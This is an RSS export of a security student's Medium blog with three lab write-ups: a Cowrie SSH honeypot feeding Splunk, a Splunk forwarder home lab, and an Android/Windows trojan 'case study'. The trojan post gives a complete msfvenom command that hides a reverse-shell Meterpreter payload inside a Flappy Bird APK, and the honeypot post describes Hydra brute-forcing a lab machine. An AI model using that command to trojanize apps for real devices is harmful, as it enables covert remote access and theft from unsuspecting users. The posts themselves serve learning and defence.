<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bsinghceh on Medium]]></title>
        <description><![CDATA[Stories by Bsinghceh on Medium]]></description>
        <link>https://medium.com/@bsinghceh?source=rss-65921701d7d7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*y7BkNEIXfBl8642s</url>
            <title>Stories by Bsinghceh on Medium</title>
            <link>https://medium.com/@bsinghceh?source=rss-65921701d7d7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 00:35:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bsinghceh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Real-Time SSH Honeypot with Cowrie & Splunk]]></title>
            <link>https://medium.com/@bsinghceh/building-a-real-time-ssh-honeypot-and-siem-monitoring-lab-with-cowrie-and-splunk-enterprise-a-8d5c854a17a7?source=rss-65921701d7d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d5c854a17a7</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Bsinghceh]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 21:11:20 GMT</pubDate>
            <atom:updated>2026-08-02T21:25:09.777Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QueUSRB4sLfICSqwEKW5BQ.jpeg" /></figure><h4>Deploy a Cowrie SSH Honeypot, simulate cyberattacks from Kali Linux, forward logs to Splunk Enterprise, and perform real-time threat hunting and incident analysis.</h4><p>One of the most effective techniques for achieving this is deploying a <strong>honeypot</strong> — a decoy system designed to attract attackers while recording every action they perform. When integrated with a <strong>Security Information and Event Management (SIEM)</strong> platform such as <strong>Splunk Enterprise</strong>, a honeypot becomes a powerful tool for monitoring, detecting, and investigating cyber threats in real time.</p><h3>Installing Cowrie, Configuring the Honeypot, and Integrating with Splunk Enterprise</h3><h3>Technologies Used Throughout the Project</h3><p>To build this SSH Honeypot Monitoring Lab, I combined several open-source security tools and enterprise technologies. Each component played an important role in creating a realistic Security Operations Centre (SOC) environment.</p><ul><li><strong>Oracle VirtualBox</strong> — Created an isolated virtual lab to safely deploy and test multiple operating systems without affecting the host machine.</li><li><strong>Ubuntu Server</strong> — Hosted the Cowrie SSH Honeypot and Splunk Universal Forwarder, acting as the primary monitoring server.</li><li><strong>Kali Linux</strong> — Simulated attacker activities using tools such as SSH, Nmap, and Hydra to generate realistic attack traffic.</li><li><strong>Cowrie SSH Honeypot</strong> — Emulated an SSH server to capture login attempts, attacker commands, session activities, and file downloads for security analysis.</li><li><strong>Splunk Enterprise</strong> — Centralized, indexed, and analyzed Cowrie logs, enabling real-time security monitoring, threat hunting, dashboard creation, and alert generation.</li><li><strong>Splunk Universal Forwarder</strong> — Automatically collected Cowrie log files from Ubuntu and securely forwarded them to Splunk Enterprise.</li><li><strong>Hydra</strong> — Simulated SSH brute-force attacks to test detection capabilities and generate authentication events.</li><li><strong>Nmap</strong> — Performed network reconnaissance and service discovery against the honeypot to simulate an attacker’s initial enumeration phase.</li><li><strong>Git &amp; Python 3</strong> — Used to download, install, configure, and maintain the Cowrie Honeypot environment.</li><li><strong>Splunk Search Processing Language (SPL)</strong> — Queried and analyzed security events to identify attacker behavior, authentication attempts, executed commands, and suspicious activities.</li></ul><p>Together, these technologies created a complete end-to-end cybersecurity lab that closely resembles a real-world SOC environment, enabling practical experience in <strong>security monitoring, threat hunting, log analysis, incident investigation, and SIEM operations</strong>.</p><h3>Installing Cowrie SSH Honeypot</h3><p>With the Ubuntu server ready, the next step was deploying <strong>Cowrie</strong>, one of the most widely used open-source SSH honeypots.</p><p>Cowrie simulates a Linux SSH server and records every interaction performed by an attacker. Unlike a real SSH server, it provides a controlled environment where malicious activity can be safely observed without exposing an actual production system.</p><pre>git clone https://github.com/cowrie/cowrie.git<br>cd cowrie</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*2Ihd3hKglIKIJ3VoP-Txwg.jpeg" /></figure><blockquote>Git downloads the latest source code and allows future updates directly from the official repository.</blockquote><h3>Creating a Python Virtual Environment</h3><p>Create a virtual environment: A virtual environment keeps Cowrie’s Python libraries separate from the operating system, preventing dependency conflicts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*VXUfL622-DxdS2eNXU1uOQ.jpeg" /></figure><pre>python3 -m venv cowrie-env<br>source cowrie-env/bin/activate<br>pip install --upgrade pip<br>pip install -r requirements.txt</pre><p>Install dependencies:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*nsxsdqJMDQBJAxNWG68yRA.jpeg" /></figure><h3>Configuring Cowrie</h3><p>Create the configuration file:</p><pre>cp etc/cowrie.cfg.dist etc/cowrie.cfg</pre><blockquote><strong>Note:</strong> During this project, I discovered that newer versions of Cowrie already included cowrie.cfg, so this copy step was unnecessary. This highlighted the importance of checking the installed version before following older documentation.</blockquote><h4>Open the configuration file: Find or copy cowrie.cfg</h4><pre>cp etc/cowrie.cfg.dist etc/cowrie.cfg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*v2ZRIsSDu_GWfuATHhNu0A.jpeg" /></figure><h3>Configuring the SSH Listening Port</h3><p>Open the configuration file port : Modified</p><pre>nano etc/cowrie.cfg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*EAZuhel8WjsDPBgCR7VyCQ.jpeg" /></figure><blockquote>listen_endpoints = tcp:6415:interface=127.0.0.1 Modify it to: listen_endpoints = tcp:2222:interface=0.0.0.0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*zPkJDb05h4YLES0w_gX9gQ.jpeg" /></figure><p>If the service listened only on 127.0.0.1, only the local machine could connect, preventing the Kali attacker VM from reaching the honeypot.</p><ul><li><strong>Port 2222</strong> avoids conflicts with a real SSH service on port 22.</li><li><strong>0.0.0.0</strong> allows connections from other machines on the network</li><li>We’ll use port <strong>2222</strong> because:</li><li>It doesn’t require root privileges.</li><li>It’s commonly used in labs.</li><li>It avoids conflicts with the real SSH service (if installed).</li></ul><h4>0.0.0.0</h4><p>0.0.0.0 means:</p><blockquote><em>Listen on </em><strong><em>all network interfaces</em></strong><em>.</em></blockquote><p>So:</p><ul><li>Ubuntu can connect.</li><li>Kali can connect.</li><li>Other devices on the same network can connect (if the network allows it).</li></ul><h3>Starting Cowrie</h3><p>Start the honeypot:</p><pre>bin/cowrie start<br>##verify the Statuse##<br>bin/cowrie status<br>##live Log##<br>tail -f var/log/cowrie/cowrie.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*-XnUxdlLNo6YmErdD5pw6A.jpeg" /></figure><p><strong>The log file confirms that Cowrie has started successfully and records every connection, authentication attempt, and command entered by attackers.</strong></p><h3>Verifying Network Connectivity</h3><p>Determine the Ubuntu IP address: This IP address became the target for the attacker machine.</p><pre>ip addr<br>192.168.1.17</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*l5D-COBZKf6LHO8dIqhTHg.png" /></figure><h3>Testing the Honeypot</h3><p>From the Kali Linux VM and Attacker can use any types of operating system</p><pre>ssh root@192.168.1.17 -p 2222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*k0Exfr5nOWz2Gay52xXbjQ.jpeg" /></figure><blockquote>The first connection displays the SSH host key fingerprint: Then enter any password. Even incorrect passwords are valuable because Cowrie records every authentication attempt.</blockquote><blockquote><strong>Note : You are not logged into a real Debian server. You are inside Cowrie’s fake shell, which is designed to trick attackers and record everything they do</strong>.</blockquote><h3>Reconnaissance</h3><ul><li>Nmap scanning</li><li>Service detection</li><li>Banner grabbing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PjFYuGseFbo1U6Za0ndKig.jpeg" /></figure><h3>Brute Force</h3><ul><li>Hydra and Analyse failed and successful attempts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8y4mijIrVHBuyDpzgtsUFg.jpeg" /></figure><ul><li>Multiple usernames/passwords</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vwpi1cLfv4tbVWaOJyXxAw.jpeg" /></figure><blockquote>After Hydra finishes: Open the Cowrie log and See every username and password attempt as well Identify how brute-force attacks appear in the logs.</blockquote><blockquote>Note: Here we Used Simple password.txt file but you may use wordlist.txt file and rocky.txt file there are lots of password list available for Brute force.</blockquote><h3>Malware Simulation</h3><ul><li>Download files</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nI43UZzA1gXyKl6QE9nrQ.jpeg" /></figure><ul><li>Study hashes and Inspect captured artifacts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*DC3RwNA8v1WbosxvytyJsQ.jpeg" /></figure><h3>Threat Hunting</h3><h4>What is Threat Hunting?</h4><p>Threat hunting is the process of <strong>looking through logs to identify suspicious activity</strong>. Instead of waiting for an alert, you proactively investigate. Firewall Logs │ SSH Logs │ Cowrie Logs │ Windows Logs │ Find Suspicious Activity</p><p>Here We Analyzed the attacker behaviour</p><h4>Search Login Attempts:</h4><pre>grep &quot;login attempt&quot; var/log/cowrie/cowrie.log </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFMI6Q5b7Xf1Ab-HZr069w.jpeg" /></figure><h4>Find Successful Logins: These are the credentials that Cowrie accepted to keep the attacker engaged.</h4><pre>grep &quot;succeeded&quot; var/log/cowrie/cowrie.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQKMStOY1vMCZEqq6VsStQ.jpeg" /></figure><h4>Find Failed Logins: Now you know which passwords were attempted but not accepted by the honeypot.</h4><pre>grep &quot;failed&quot; var/log/cowrie/cowrie.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMvrtL0wD4HmSCvHhvvffg.jpeg" /></figure><h3>Search by Source IP</h3><p>Suppose you suspect IP(192.168.1.16)</p><pre>grep &quot;192.168.1.16&quot; var/log/cowrie/cowrie.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSE_JcTRbhWlWlnHcdAvJw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTqemYyQBffkGgmZSnORXg.jpeg" /></figure><p>Threat hunting is the proactive process of identifying hidden cyber threats by analyzing security logs and attacker behavior. In this project, I used <strong>Cowrie Honeypot</strong> and <strong>Splunk Enterprise</strong> to detect SSH attacks, monitor login attempts, analyzed executed commands, investigate attacker activities, and create real-time alerts, demonstrating practical SOC monitoring and incident investigation skills.</p><h3>Splunk Enterprise Implementation</h3><p>I integrated <strong>Splunk Enterprise</strong> to collect, analyze, and monitor the generated security logs. To provide a centralized platform for collecting, indexing, searching, and analyzing security logs.</p><p>Cowrie generates a new event, the Universal Forwarder automatically detects the change and forwards the log to Splunk</p><h3>Analyze Security Events</h3><p>Using Splunk Search Processing Language (SPL), I investigated attacker activities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCTmORPiyT_ccEYiyI-L-g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ke4MPccDIm3meuMOSidWJA.jpeg" /></figure><blockquote>Using Splunk Search Processing Language (SPL), I investigated attacker activities:</blockquote><blockquote>source=*cowrie.json* eventid=cowrie.login.failed</blockquote><blockquote>source=*cowrie.json* eventid=cowrie.login.success</blockquote><blockquote>source=*cowrie.json* eventid=cowrie.command.input</blockquote><blockquote>source=*cowrie.json* eventid=cowrie.login.failed | stats count by src_ip | where count &gt;= 5</blockquote><blockquote>Using Splunk Search Processing Language (SPL), I investigated attacker activities.</blockquote><h3>Conclusion</h3><p><em>This project demonstrates the practical implementation of a </em><strong><em>real-time SOC monitoring environment</em></strong><em> using </em><strong><em>Cowrie SSH Honeypot</em></strong><em> and </em><strong><em>Splunk Enterprise</em></strong><em>. By deploying a honeypot, simulating SSH attacks, forwarding logs, performing threat hunting, and creating dashboards and alerts, I gained hands-on experience with core SOC operations. This project strengthened my skills in </em><strong><em>SIEM, log analysis, incident investigation, and threat detection</em></strong><em>, providing practical knowledge that aligns with real-world cybersecurity and SOC Analyst responsibilities.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d5c854a17a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Trojan Malware Analysis: A Practical Case Study]]></title>
            <link>https://medium.com/@bsinghceh/trojan-malware-analysis-attaching-a-payload-to-a-game-apk-for-security-research-9ff9a02fc1bb?source=rss-65921701d7d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ff9a02fc1bb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Bsinghceh]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 02:52:14 GMT</pubDate>
            <atom:updated>2026-08-02T21:23:27.728Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xjOgN9Ja87NsAJ2I.jpg" /></figure><h4>Analyze how a Trojan payload can be embedded into an Android application and understand common malware techniques used by attackers</h4><p>As part of my cybersecurity capstone project, I analyzed how Trojan malware can be embedded into legitimate Android games and Windows applications using MSFVenom in a controlled laboratory environment. The purpose of this project was to understand how attackers disguise malicious payloads inside seemingly harmless applications and how security professionals can detect and defend against these threats.</p><p><strong>Disclaimer:</strong> This project was performed only in an isolated virtual lab for educational and defensive cybersecurity purposes. No unauthorized systems or devices were targeted.</p><blockquote>Project Objectives</blockquote><p>The objectives of this project were:</p><ul><li>Analyzed Trojan payload behaviour.</li><li>Study how malware can be attached to Android APK files.</li><li>Understand payload delivery mechanisms.</li><li>Observe reverse connection behaviour.</li><li>Analyzed Meterpreter sessions after execution.</li><li>Learn defensive techniques to detect Trojan malware.</li></ul><blockquote>A Trojan is a type of malware that disguises itself as a legitimate application. Users believe they are installing a normal game or software, but hidden malicious code executes in the background once the application is launched.</blockquote><blockquote>Unlike viruses, Trojans do not self-replicate. Instead, they rely on social engineering to trick users into installing them.</blockquote><h3>Project Overview</h3><p>In this project, a Trojan payload was embedded into a game application in a controlled testing environment. Once the application was installed and executed on the test device, it established a reverse connection to the penetration-testing machine, allowing observation of attacker techniques and post-exploitation behaviour.</p><p>The project demonstrates how attackers may attempt to hide malicious payloads inside trusted applications and highlights the importance of malware detection and secure software practices.</p><h3>Project Workflow</h3><p>The project followed these stages:</p><ol><li>Prepare the isolated lab environment.</li><li>Generate a Meterpreter payload using MSFVenom.</li><li>Attach the payload to a test game APK or Windows executable.</li><li>Install and execute the modified application on the test system.</li><li>Observe the reverse connection in Metasploit.</li><li>Analyze the behavior of the Trojan payload.</li><li>Document security findings and defensive recommendations.</li></ol><h3>Android Trojan Analysis</h3><blockquote>The Android portion of the project focused on embedding a Meterpreter payload into a game APK. Once installed in the controlled lab, the application appeared to function normally while simultaneously initiating a reverse connection for analysis.</blockquote><blockquote>This demonstrates why users should only install applications from trusted sources and why mobile security controls are essential.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-FXDwiVTyGI9mAS74EqGYQ.jpeg" /></figure><pre>msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 –x ‘Flappy Bird_1.3_APKPure.apk’ –k –o flapy.apk</pre><blockquote>A Trojanized Flappy Bird application requesting excessive Android permissions. The embedded test payload causes the modified application to ask for access to contacts, SMS, call logs, microphone, camera, and location — permissions that are unnecessary for normal gameplay. This demonstrates how malicious applications can abuse excessive permissions to increase their access to sensitive device resources in a controlled research environment.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*p3Qq0fNVFA5xCj3Xh3YEvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*mFQfZD5VjPgkywUkkP_Pdw.jpeg" /></figure><p><strong><em>Trojanized Flappy Bird requesting multiple high-risk Android permissions in a controlled laboratory environment.</em></strong></p><h3>Trojan Payload Embedded</h3><blockquote>When a Trojan application is installed and the user grants the requested permissions, it may abuse those permissions to compromise the device. The exact impact depends on the malware’s capabilities and the permissions granted. During malware analysis, security researchers commonly observe the following risks:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kfuZXI8OAXe2vgkjQ5MDCg.jpeg" /></figure><ul><li><strong>Steal Personal Information:</strong> Access contacts, call logs, messages, photos, and other sensitive data.</li><li><strong>Track Device Location:</strong> Continuously collect GPS or network-based location information.</li><li><strong>Record Audio or Capture Images:</strong> If microphone or camera permissions are granted, the malware may misuse them to record audio or capture images without the user’s knowledge.</li><li><strong>Monitor User Activity:</strong> Observe application usage and collect device information.</li><li><strong>Communicate with a Remote Server:</strong> Exchange information with an attacker-controlled server to receive instructions or transmit collected data.</li><li><strong>Increase Privacy Risks:</strong> Sensitive information stored on the device may be exposed if the malware exfiltrates it.</li><li><strong>Reduce Device Performance:</strong> Background malicious activity can consume CPU, memory, battery, and mobile data, making the device slower.</li><li><strong>Generate Financial Costs:</strong> If SMS or phone permissions are abused, malware could send premium-rate messages or make unauthorized calls, potentially resulting in charges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVbbXq7LdzSbDIlLziwXWw.jpeg" /></figure><blockquote>This demonstrates why users should only install applications from trusted sources and why mobile security controls are essential.</blockquote><h3>Windows Trojan Analysis</h3><p>The Windows portion involved attaching a payload to a test executable in the lab. After execution, the reverse connection was observed and analyzed to understand how Trojanized applications can provide unauthorized remote access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hoWPYQz5y8daHVoanXfjA.jpeg" /></figure><h3>What Harm Can a Windows Trojan Cause?</h3><p>A <strong>Windows Trojan</strong> is malicious software that disguises itself as a legitimate program. Once installed and executed, it can compromise the system depending on its capabilities and the permissions it has obtained. Common impacts include:</p><ul><li><strong>Unauthorized Remote Access:</strong> Allows an attacker to remotely control the infected computer.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kt9qDFxxHTZsDLxwqU6BLw.jpeg" /></figure><ul><li><strong>Data Theft:</strong> May access and steal sensitive files, documents, passwords, and personal information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*noYsgc7YpT03xXEw5YsvgA.jpeg" /></figure><ul><li><strong>System Monitoring:</strong> Can monitor user activity, including running applications and system information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J3FsY56-UGZ8TxLk8bCYhQ.jpeg" /></figure><ul><li><strong>Screen Capture:</strong> Some Trojans can capture screenshots to gather sensitive information displayed on the screen.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kt9qDFxxHTZsDLxwqU6BLw.jpeg" /></figure><blockquote><strong>Performance Degradation:</strong> Runs malicious processes in the background, consuming CPU, memory, and network resources.</blockquote><blockquote><strong>Persistence:</strong> May attempt to remain active after system restarts, making removal more difficult.</blockquote><blockquote><strong>Privacy Violations:</strong> Can expose confidential information stored on the computer.</blockquote><blockquote><strong>Additional Malware Installation:</strong> Some Trojans download and install other malicious software, increasing the severity of the compromise.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgGeHkJTdvNfOxDyV1-Hkw.jpeg" /><figcaption><strong><em>Shutdown the System</em></strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jEQAg3KfeI6BgoVol4CZw.jpeg" /></figure><blockquote><strong><em>Windows Trojan Impact: A Trojanized Windows application appears to function as a normal program while executing hidden malicious code in the background. If successfully executed, it may establish unauthorized remote access, collect sensitive information, monitor system activity, degrade system performance, and potentially download additional malware. This demonstrates why users should only install software from trusted sources, keep security software updated, and avoid executing files from unknown or unverified origins.</em></strong></blockquote><h3>Defensive Measures</h3><p>Based on this analysis, the following security practices are recommended:</p><ul><li>Download applications only from trusted sources.</li><li>Verify application integrity before installation.</li><li>Keep operating systems updated.</li><li>Use reputable antivirus and endpoint protection.</li><li>Monitor unusual outbound network traffic.</li><li>Educate users about social engineering attacks.</li><li>Perform regular malware scanning and security assessments.</li></ul><h3>Conclusion</h3><p>This project provided valuable hands-on experience in understanding how Trojan malware can be disguised within legitimate Android games and Windows applications in a controlled cybersecurity laboratory. By analyzing a Trojanized application, I learned how malicious payloads can exploit excessive permissions, establish unauthorized remote connections, and compromise the confidentiality, integrity, and availability of a system.</p><p>The project also highlighted the importance of secure application distribution, permission analysis, endpoint protection, and user awareness in preventing malware infections. Understanding the techniques used by attackers enables cybersecurity professionals to develop stronger detection methods, improve incident response, and build more effective security defences.</p><p>Overall, this capstone project strengthened my practical skills in malware analysis, penetration testing, Android and Windows security, and defensive cybersecurity. It reinforced the importance of ethical hacking principles and demonstrated how offensive security knowledge can be applied responsibly to protect systems against real-world cyber threats.</p><p><strong>Disclaimer:</strong> This project was conducted exclusively in an isolated and authorized laboratory environment for educational and defensive cybersecurity research. The techniques demonstrated were analyzed to improve malware detection, security awareness, and defensive capabilities, and should never be used against unauthorized systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ff9a02fc1bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Home SOC Lab with Splunk Enterprise and Ubuntu Forwarder]]></title>
            <link>https://medium.com/@bsinghceh/how-to-set-up-splunk-enterprise-on-windows-and-connect-ubuntu-as-a-forwarder-for-a-home-soc-lab-07a0f69fd752?source=rss-65921701d7d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/07a0f69fd752</guid>
            <category><![CDATA[deep-learning]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Bsinghceh]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 01:34:35 GMT</pubDate>
            <atom:updated>2026-08-02T21:22:12.338Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CYbgrzmBknzzSAHJF3zqQQ.jpeg" /></figure><p>Learn how to collect, forward, and analyze security logs using Splunk Enterprise and Splunk Universal Forwarder in a practical SOC environment.</p><p>If you want to build a simple home SOC lab, Splunk is a great place to start. In this setup, <strong>Splunk Enterprise will run on a Windows machine</strong>, and the <strong>Ubuntu machine will send logs using Splunk Universal Forwarder</strong>.</p><h3>What You Will Build</h3><p>In this lab, you will create a simple setup with two machines:</p><ul><li><strong>Windows machine</strong> — runs <strong>Splunk Enterprise</strong></li><li><strong>Ubuntu machine</strong> — runs <strong>Splunk Universal Forwarder</strong></li><li><strong>Network</strong> — both machines should be on the same LAN or virtual network If you are use VBox or VM used Bridged Adapter.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dzMNXJ7WURSgeUu3Jg72RA.jpeg" /></figure><h3>Ports Used</h3><p>These ports are important for the setup:</p><ul><li><strong>8000</strong> — Splunk Web UI</li><li><strong>8089</strong> — Management port</li><li><strong>9997</strong> — Receiving port for forwarded logs</li></ul><p>Make sure these ports are allowed through your firewall. used this Command Allow Splunk’s receiving allow another port, just replace 9997 with your port number.</p><pre>netsh advfirewall firewall add rule name=&quot;Splunk 9997&quot; dir=in action=allow protocol=TCP localport=9997</pre><p>Install Splunk</p><blockquote>open splunk web : <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000</a></blockquote><h4>if you access it from another machine:</h4><blockquote>http://&lt;add_windows_ip&gt;:8000</blockquote><h3>Enable Log Receiving in Splunk</h3><p>Now you need to allow Splunk Enterprise to receive logs from the Ubuntu forwarder.</p><h4>Add receiving port</h4><ol><li>In Splunk Web, go to <strong>Settings</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFL6-tAciIfJTuib_56Abw.jpeg" /></figure><ol><li>Open <strong>Forwarding and Receiving</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*MGyuGtkrsX6fwEXVSyIauw.jpeg" /></figure><ol><li>Under <strong>Receive Data</strong>, click <strong>Add New</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKR03okugtBKy2P0IGwVJA.jpeg" /></figure><ol><li>Enter port <strong>9997 </strong>and save port</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lK5lVhDitmbWHKqwCwl09g.jpeg" /></figure><h3>Create the index</h3><h4>An index is where Splunk stores incoming data.</h4><ol><li>Go to <strong>Settings</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFL6-tAciIfJTuib_56Abw.jpeg" /></figure><ol><li>Open <strong>Indexes</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*CJlsG4p_z9uo-IIKPLtFpQ.jpeg" /></figure><p>2. Click <strong>New Index and </strong>Name it ubuntu_linux and Save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*njVUMDLlmyxnSIm3Asclrg.jpeg" /></figure><p>3 . Click in Queue: This makes it easier to organize Ubuntu logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEkUuR1dpDELCKQdFwGspA.jpeg" /></figure><h3><strong>Install Splunk Universal Forwarder on Ubuntu</strong></h3><p>Now switch to the Ubuntu machine and install the forwarder.</p><blockquote>Download the forwarder</blockquote><blockquote>Download <strong>Splunk Universal Forwarder for Linux</strong> from Splunk’s official site.</blockquote><h4>Install the package</h4><p>If you downloaded a .deb file, install it and fix missing dependencies using:</p><pre>sudo dpkg -i splunkforwarder-*.deb<br>sudo apt -f install -y<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*KJy6q-Zjq6l-vInH_RlScA.jpeg" /></figure><h4>Start the Forwarder</h4><p>Start Splunk Universal Forwarder on Ubuntu:</p><pre>sudo /opt/splunkforwarder/bin/splunk start --accept-license</pre><p>The first time you run it, accept the license</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*VQntNr7apM01D7d8LChuew.jpeg" /></figure><h3>Connect Ubuntu to Splunk Enterprise</h3><p>Now tell the forwarder where to send logs.</p><p>Use the <strong>Windows IP address</strong> where Splunk Enterprise is running, followed by port <strong>9997</strong>.</p><pre>sudo /opt/splunkforwarder/bin/splunk add forward-server &lt;window_IP_add&gt;:9997</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*-k2vmyrrW0dT9Ix_X1Uokg.jpeg" /></figure><p><strong><em>your own Windows IP address if needed.</em></strong></p><h3>Add Log Sources on Ubuntu</h3><p>Next, choose which logs Ubuntu should forward.</p><p>A good starting point is to monitor these files:</p><ul><li>/var/log/syslog</li><li>/var/log/auth.log</li></ul><pre>sudo /opt/splunkforwarder/bin/splunk add monitor /var/log/syslog<br>sudo /opt/splunkforwarder/bin/splunk add monitor /var/log/auth.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*PLe-UypBCiW9lQ4Yh7Z3Iw.jpeg" /></figure><h3>Enable Auto Start</h3><p>To make sure the forwarder starts automatically after reboot, enable boot start:</p><pre>sudo /opt/splunkforwarder/bin/splunk enable boot-start</pre><p>This is important for keeping your lab stable and persistent.</p><h3>Search the Logs</h3><p>Finally, check whether logs are being indexed.</p><p>Go to:</p><ul><li><strong>Apps</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RA-qvmNUUFaNtO7vsPI98A.jpeg" /></figure><ul><li><strong>Search &amp; Reporting</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6ga__sPBaDJKcwW3Nt8BQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*frOpYEvKy6GDrh6iKJL3OQ.jpeg" /></figure><h3>Verify Log Ingestion</h3><blockquote>Now check whether the logs are visible in Splunk.” index=ubuntu”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-iEc9JGyXNOwzeCzm3IXg.jpeg" /></figure><h3>Conclusion</h3><blockquote>Setting up <strong>Splunk Enterprise on Windows</strong> and connecting <strong>Ubuntu as a forwarder</strong> is a great way to build a beginner-friendly SOC lab. Once the basic setup is working, you can expand it by adding more log sources, dashboards, alerts, and detection rules.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07a0f69fd752" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[♚Android VAPT: Hands-on Security Testing of InsecureShop♚]]></title>
